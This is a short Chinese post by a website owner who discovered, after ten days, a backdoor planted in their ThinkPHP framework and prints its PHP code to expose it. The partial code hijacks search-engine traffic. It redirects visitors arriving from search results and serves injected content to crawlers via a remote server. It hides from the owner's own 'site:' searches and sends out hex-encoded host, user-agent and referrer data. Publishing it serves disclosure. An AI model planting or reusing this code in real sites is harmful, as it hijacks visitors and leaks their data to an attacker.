|
网站被挂马10多天,一直找不到被挂马的文件,一直以来以为是JS挂马或者劫持,昨晚一个网友通过抓包发现出现302状态码,怀疑是框架挂马,果然在tp框架找到了挂马代码,现把这个挂马代码曝光在这里,让大家见识见识这个不要脸的家伙!
array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}
if(preg_match(s_s,r_s)){$d_s=true;if(preg_match("@site%3A|inurl%3A@i",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s && empty($_COOKIE['xx'])){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ua='.bin2hex(u_s);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header("Location: ".$d_c.'?'.h_t);exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_u.='&ua='.bin2hex(u_s);$d_c=r_s($d_u);echo $d_c;exit;}}
?> |
|